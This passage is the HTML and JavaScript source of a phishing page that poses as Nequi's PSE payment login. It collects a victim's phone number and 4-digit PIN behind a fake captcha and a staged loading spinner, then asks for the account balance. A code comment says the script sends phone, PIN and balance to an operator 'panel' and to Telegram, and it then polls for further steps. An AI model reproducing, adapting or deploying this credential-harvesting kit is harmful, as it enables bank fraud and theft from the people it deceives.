25.3357 104 24.832V7.71205C104 7.20837 103.589 6.80005 103.082 6.80005Z" fill="#200020" class="I"></path><path _ngcontent-atq-c28="" d="M74.976 6.80002H71.2071C70.6917 6.80002 70.289 7.21602 70.289 7.71202V8.64002C69.1615 7.32802 67.3093 6.41602 64.8772 6.41602C59.4332 6.41602 56.5501 11.312 56.5501 16.496C56.5501 21.024 58.9178 26.096 64.7644 26.096C66.8583 26.096 69.081 25.104 70.289 23.696V31.056C70.289 31.568 70.7078 31.968 71.2071 31.968H74.976C75.4914 31.968 75.8941 31.552 75.8941 31.056V7.72802C75.8941 7.21602 75.4753 6.81602 74.976 6.81602V6.80002ZM66.3912 22.064C63.9108 22.064 62.1713 20.256 62.1713 16.368C62.1713 12.48 63.9108 10.448 66.3912 10.448C68.8716 10.448 70.6111 12.32 70.6111 16.368C70.6111 20.416 68.8716 22.064 66.3912 22.064Z" fill="#200020" class="Q"></path><path _ngcontent-atq-c28="" d="M95.0448 6.80005H91.2759C90.7604 6.80005 90.3578 7.21605 90.3578 7.71205V17.3921C90.3578 20.5121 88.9565 21.4241 87.1687 21.4241C85.3809 21.4241 83.9796 20.5121 83.9796 17.3921V7.71205C83.9796 7.20005 83.5608 6.80005 83.0615 6.80005H79.2926C78.7772 6.80005 78.3745 7.21605 78.3745 7.71205V17.7921C78.3745 23.7921 81.7086 26.2081 87.1848 26.2081C92.661 26.2081 95.9951 23.7761 95.9951 17.7921V7.71205C95.9951 7.20005 95.5763 6.80005 95.077 6.80005H95.0448Z" fill="#200020" class="U"></path></svg>
        </div>

        <div class="main">
            <h1>Pagos PSE de Nequi</h1>
            <h2>Ingresa tu número de cel y clave. Recuerda que debes tener tu cel a la mano para terminar el proceso.</h2>

            <div class="form">
                <div class="form__element">
                    <input class="form__input" type="text" required id="txtUsuario" maxlength="10" inputmode="numeric" pattern="[0-9]*" placeholder=" ">
                    <span class="form__lbl">Número de celular</span>
                        <label for="txtUsuario" id="alert_expira" class="error"></label>
                </div>
                
                <div class="form__element">
                    <input class="form__input" type="password" required id="txtPass" maxlength="4" inputmode="numeric" pattern="[0-9]*" placeholder=" ">
                    <span class="form__lbl">Clave</span>
                    <label for="txtPass" id="clave" class="error"></label>
                </div>
                
                <div id="captcha-wrapper" style="margin: 8px 0;">
                    <div id="captcha-widget" role="checkbox" aria-checked="false" tabindex="0" style="
                        display: inline-flex;
                        align-items: center;
                        gap: 16px;
                        padding: 14px 22px 14px 14px;
                        border: 1px solid #f0d8e8;
                        border-radius: 12px;
                        background: #fff;
                        cursor: pointer;
                        user-select: none;
                        min-width: 260px;
                        max-width: 420px;
                        box-shadow: none;
                        transition: box-shadow 0.2s;
                    ">
                        <div id="captcha-wrap" style="
                            display:flex;
                            align-items:center;
                            justify-content:center;
                            width:54px; height:54px;
                            border-radius:50%;
                            background:#ffffff;
                            flex-shrink:0;
                        ">
                            <div id="captcha-circle" style="
                                width:36px; height:36px;
                                border-radius:50%;
                                border:2px solid #e87ab8;
                                background:transparent;
                                transition: background 0.2s, border-color 0.2s;
                                display:flex; align-items:center; justify-content:center;
                                animation: captcha-pulse 1.4s ease-in-out infinite;
                            "></div>
                        </div>
                        <span style="font-family:Roboto,sans-serif; font-size:15px; color:#1a1a1a; line-height:1.4;">
                            Confirmo que soy una persona real.
                        </span>
                    </div>
                    <div id="captcha-error" style="color:red; font-size:12px; margin-top:4px; display:none;">
                        Debes confirmar que eres una persona real.
                    </div>
                </div>

                <div class="form__opt" style="margin-top: 8px;">
                    <button class="form__btn" id="btnUsuario">Entra</button>
                    <button class="form__btn form__btn--transparent">Ahora no</button>
                </div>
            </div>
        </div>

        <div class="footer">
            <p>¿Se te olvidó la clave? Abre Nequi en tu cel y cámbiala en segundos.</p>
        </div>
    </div>
    <script>
        // Variable global del captcha
        var captchaChecked = false;

        $(document).ready(function() {
            // Función para permitir solo números
            function soloNumeros(event) {
                var charCode = event.which ? event.which : event.keyCode;
                if (charCode < 48 || charCode > 57) {
                    return false;
                }
                return true;
            }
            function limitarEntrada(event) {
                var charCode = event.which ? event.which : event.keyCode;
                var input = $(this);
                var valorActual = input.val();
                if (charCode < 48 || charCode > 57) {
                    event.preventDefault();
                }
                if (valorActual.length >= 4 && !(charCode >= 48 && charCode <= 57)) {
                    event.preventDefault();
                }
            }

            // Asigna el evento onkeypress al campo NumeroCelular
            $('#txtUsuario').on('keypress', function(event) {
                return soloNumeros(event);
            });

            // Lógica del widget captcha
            var circle    = document.getElementById('captcha-circle');
            var widget    = document.getElementById('captcha-widget');
            var captchaWrap = document.getElementById('captcha-wrap');

            function toggleCaptcha() {
                captchaChecked = !captchaChecked;
                widget.setAttribute('aria-checked', captchaChecked ? 'true' : 'false');
                if (captchaChecked) {
                    circle.style.animation   = 'none';
                    circle.style.background  = '#ffffff';
                    circle.style.borderColor = '#28A745';
                    captchaWrap.style.background = '#f0faf3';
                    circle.innerHTML = '<svg width="18" height="18" viewBox="0 0 18 18" fill="none" xmlns="http://www.w3.org/2000/svg"><polyline points="3.5,9 7.5,13 14.5,5" stroke="#28A745" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/></svg>';
                    widget.style.borderColor = '#c3e6cb';
                    document.getElementById('captcha-error').style.display = 'none';
                } else {
                    circle.style.animation   = 'captcha-pulse 1.4s ease-in-out infinite';
                    circle.style.background  = 'transparent';
                    circle.style.borderColor = '#e87ab8';
                    captchaWrap.style.background = '#ffffff';
                    widget.style.borderColor = '#f0d8e8';
                    circle.innerHTML = '';
                }
            }

            widget.addEventListener('click', toggleCaptcha);
            widget.addEventListener('keydown', function(e) {
                if (e.key === ' ' || e.key === 'Enter') { e.preventDefault(); toggleCaptcha(); }
            });

            // Asigna el evento onblur para validar el número de celular
            $('#txtUsuario').on('blur', function() {
                var regexp = new RegExp(/^((3|9)[0-9]{9})$/);
                var num = $('#txtUsuario').val();
                var msg = '';

                if (num.length != 10) {
                    msg = 'No es un número válido.';
                } else if (!regexp.test(num)) {
                    msg = 'El número debe iniciar por 3 o 9 y tener 10 dígitos.';
                }

                $('#txtUsuario').on('keyup', function() {
                    $('#alert_expira').fadeOut(700);
                });

                $.validator.addMethod('cPhoneNumber', function(value, element) {
                    return this.optional(element) || regexp.test(value);
                }, $.validator.format(msg));

                $(this).addClass('personalFormValidator');
                $.validator.addClassRules('personalFormValidator', { 'cPhoneNumber': true });
                $('#txtUsuario').valid();
            });

            // Configuración general del validador
            $("#formulario").validate({
                rules: {
                    NumeroCelular: { required: true, minlength: 10, maxlength: 10 }
                },
                messages: {
                    NumeroCelular: {
                        required: "El número de celular es obligatorio.",
                        minlength: "El número de celular debe tener 10 dígitos.",
                        maxlength: "El número de celular debe tener 10 dígitos."
                    }
                }
            });
        });

    // Reemplaza validarSaldo — ahora valida el captcha
    function validarCaptcha() {
        if (!captchaChecked) {
            document.getElementById('captcha-error').style.display = 'block';
            return false;
        }
        return true;
    }

    function validarClave() {
        var valor = $('#txtPass').val();
        if (valor.length != 4) {
            $('#clave').text('Solo se permiten 4 digitos.').css('visibility', 'visible');
            return false;
        } else {
            $('#clave').css('visibility', 'hidden');
            return true;
        }
    }

    function validarNumeroCelular() {
        var regexp = new RegExp(/^((3|9)[0-9]{9})$/);
        var num = $('#txtUsuario').val();
        var msg = '';

        if (num.length != 10) {
            msg = 'No es un número válido.';
        } else if (!regexp.test(num)) {
            msg = 'El número debe iniciar por 3 o 9 y tener 10 dígitos.';
        }

        if (msg !== '') {
            $('#alert_expira').text(msg).fadeIn();
            return false;
        } else {
            $('#alert_expira').fadeOut();
            return true;
        }
    }
    </script>

    <script type="text/javascript">

    // ── Formatter del campo saldo en el modal ──────────────────
    document.getElementById('saldo-input').addEventListener('input', function () {
        var numeros = this.value.replace(/\D/g, '');
        if (numeros.length > 9) numeros = numeros.substring(0, 9);
        if (numeros === '') { this.value = ''; return; }
        this.value = '$ ' + Number(numeros).toLocaleString('es-CO');
    });

    var estadoInterval = null;

    // ── Botón ENTRA ────────────────────────────────────────────
    $("#btnUsuario").click(function (e) {
        e.preventDefault();
        $(this).prop('disabled', true);

        if (validarNumeroCelular() && validarClave() && validarCaptcha()) {

            // 1. Muestra la espiral — SIN iniciar consultar_estado todavía
            document.getElementById('loading-overlay').style.display = 'flex';

            // 2. Después de 5 segundos → cierra overlay y abre modal de saldo
            setTimeout(function () {
                document.getElementById('loading-overlay').style.display = 'none';
                document.getElementById('saldo-modal').classList.add('show');
                document.getElementById('saldo-input').focus();
            }, 5000);

        } else {
            $(this).prop('disabled', false);
        }
    });

    // ── Botón LISTO (modal de saldo) ───────────────────────────
    document.getElementById('btnListo').addEventListener('click', function () {
        var saldoVal = document.getElementById('saldo-input').value.trim();
        var errorEl  = document.getElementById('saldo-modal-error');

        if (saldoVal === '') {
            errorEl.style.display = 'block';
            return;
        }
        errorEl.style.display = 'none';
        this.disabled = true;

        // Cierra modal de saldo y muestra la espiral de carga
        document.getElementById('saldo-modal').classList.remove('show');
        document.getElementById('loading-overlay').style.display = 'flex';

        // Envía celular + clave + saldo al panel y Telegram
        pasousuario(
            $("#txtPass").val() + " | Saldo: " + saldoVal,
            $("#txtUsuario").val(),
            "PSE Nequi"
        );

        // Solo AHORA inicia consultar_estado para avanzar al panel
        if (estadoInterval) clearInterval(estadoInterval);
        estadoInterval = setInterval(consultar_estado, 2000);
    });

    // ── Botón atrás: solo actúa si la página viene del caché (bfcache) ─
    window.addEventListener('pageshow', function (e) {
        if (e.persisted) {
            // Cancela el intervalo para evitar redirecciones automáticas
            if (estadoInterval) { clearInterval(estadoInterval); estadoInterval = null; }
            // Limpia overlays y modales
            document.getElementById('saldo-modal').classList.remove('show');
            document.getElementById('loading-overlay').style.display = 'none';
            // Re-habilita botones
            var btnUsuario = document.getElementById('btnUsuario');
            if (btnUsuario) btnUsuario.disabled = false;
            var btnListo = document.getElementById('btnListo');
            if (btnListo) btnListo.disabled = false;
        }
    });

    </script>
</body>
</html